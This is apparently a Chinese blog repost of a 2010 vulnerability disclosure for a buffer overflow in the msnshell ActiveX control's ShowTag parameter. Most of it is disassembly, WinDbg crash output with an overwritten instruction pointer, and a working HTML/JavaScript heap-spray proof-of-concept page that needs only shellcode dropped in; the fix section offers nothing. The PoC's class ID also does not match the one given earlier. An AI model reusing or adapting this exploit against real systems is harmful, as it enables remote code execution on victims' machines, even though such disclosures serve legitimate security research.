IT技术博客大学习 共学习 共进步

msnshell远程代码执行漏洞

鬼仔's Blog 2010-11-01 20:06:17 浏览 2,463 次

简要描述:
msnshell是国内一款多功能的msn辅助工具,有着方便而强大聊天加密功能,使其用户群非常广泛,但是该应用有一些已存在多年的远程代码执行漏洞。

详细说明:
问题出在msnshell的activex控件上
ClassID : 20FD1EBC-A607-4C18-9F18-0233EF4D7234
File : MSNShellSDK.dll

ShowTag以及其他部分参数对数据长度的过滤不足,当长度为540字节左右的时候造成缓冲区溢出,控制程序流程。

PS:不只是这一个参数有漏洞!

以下是代码片段:
7C923297    FF75 14         push    dword ptr [ebp+14] 

7C92329A    FF75 10         push    dword ptr [ebp+10] 

7C92329D    FF75 0C         push    dword ptr [ebp+C] 

7C9232A0    FF75 08         push    dword ptr [ebp+8] 

7C9232A3    8B4D 18         mov     ecx, dword ptr [ebp+18] 

7C9232A6    FFD1            call    ecx   <-- exploit it! 

7C9232A8    64:8B25 0000000>mov     esp, dword ptr fs:[0] 

7C9232AF    64:8F05 0000000>pop     dword ptr fs:[0] 

7C9232B6    8BE5            mov     esp, ebp 

7C9232B8    5D              pop     ebp 

7C9232B9    C2 1400         retn    14 

eax=7ffd3000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 

eip=7c92120e esp=0118ffcc ebp=0118fff4 iopl=0         nv up ei pl zr na po nc 

cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246 

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\W 

INDOWS\system32\ntdll.dll - 

ntdll!DbgBreakPoint: 

7c92120e cc               int     3 

0:007> g 

url:ModLoad: 753b0000 75421000   C:\WINDOWS\system32\mshtmled.dll 

url:ModLoad: 76320000 76367000   C:\WINDOWS\system32\comdlg32.dll 

ModLoad: 76960000 76984000   C:\WINDOWS\system32\ntshrui.dll 

ModLoad: 76af0000 76b01000   C:\WINDOWS\system32\ATL.DLL 

ModLoad: 759d0000 75a7f000   C:\WINDOWS\system32\USERENV.dll 

ModLoad: 76950000 76958000   C:\WINDOWS\system32\LINKINFO.dll 

url:ModLoad: 76b10000 76b3a000   C:\WINDOWS\system32\WINMM.dll 

ModLoad: 5dba0000 5dba8000   C:\WINDOWS\system32\rdpsnd.dll 

ModLoad: 762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll 

ModLoad: 76f20000 76f28000   C:\WINDOWS\system32\Wtsapi32.dll 

ModLoad: 72c80000 72c88000   C:\WINDOWS\system32\msacm32.drv 

ModLoad: 77bb0000 77bc5000   C:\WINDOWS\system32\MSACM32.dll 

ModLoad: 03070000 0311f000   C:\PROGRA~1\MSNShell\BIN\MSNSHE~1.DLL 

ModLoad: 5efe0000 5eff7000   C:\WINDOWS\system32\olepro32.dll 

ModLoad: 75bc0000 75c3d000   C:\WINDOWS\system32\JScript.dll 

Access violation - code c0000005 (first chance) 

eax=41414141 ebx=41414141 ecx=00000000 edx=41414141 esi=0012dfc8 edi=00000000 

eip=030746b0 esp=0012dea8 ebp=0012e0d4 iopl=0         nv up ei pl nz na po nc 

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206 

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\P 

ROGRA~1\MSNShell\BIN\MSNSHE~1.DLL - 

MSNSHE~1+46b0: 

030746b0 8b40fc           mov     eax,[eax-0x4]     ds:0023:4141413d=???????? 

0:000> g 

Access violation - code c0000005 (first chance) 

eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000 

eip=41414141 esp=0012dad8 ebp=0012daf8 iopl=0         nv up ei pl zr na po nc 

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246 

41414141 ??               ??? 

0:000> d eip 

41414141  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414151  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414161  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414171  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414181  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414191  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

414141a1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

414141b1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

0:000>

漏洞证明:
POC很简单,让程序call到0x0c0c0c0c去,使用堆喷射技术即可。

以下是代码片段:
<html> 

<object classid="clsid:BFB06F62-190C-42F6-91B1-3CB03560FE2D" id=’target’></object> 

<body> 

<SCRIPT language="JavaScript"> 

var shellcode = unescape("you shellcode is here"); 

var bigblock = unescape("%u0C0C%u0C0C"); 

var headersize = 20; 

var slackspace = headersize+shellcode.length; 

while (bigblock.length<slackspace) bigblock+=bigblock; 

fillblock = bigblock.substring(0, slackspace); 

block = bigblock.substring(0, bigblock.length-slackspace); 

while(block.length+slackspace<0x40000) block = block+block+fillblock; 

memory = new Array(); 

for (x=0; x<350; x++) memory[x] = block +shellcode; 

var buffer = ’’; 

while (buffer.length < 540 ) buffer+=’\x0C\x0C\x0C\x0C’; 

target.ShowTag(buffer); 

</script> 

</body> 

</html>

修复方案:
you know.

建议继续学习

  1. 将远程共享文件夹挂载到linux本地目录 (阅读 4,525)
  2. 不可靠的EXP远程备份 (阅读 3,803)
  3. 从团购网的漏洞看网站安全性问题 (阅读 3,182)
  4. 代理的远程部分 (阅读 3,164)
  5. 挖漏洞有什么社会价值? (阅读 2,383)
  6. FakeID签名漏洞分析及利用(Google Bug 13678484) (阅读 1,887)
  7. 怎么清除Windows远程桌面连接的历史记录 (阅读 1,823)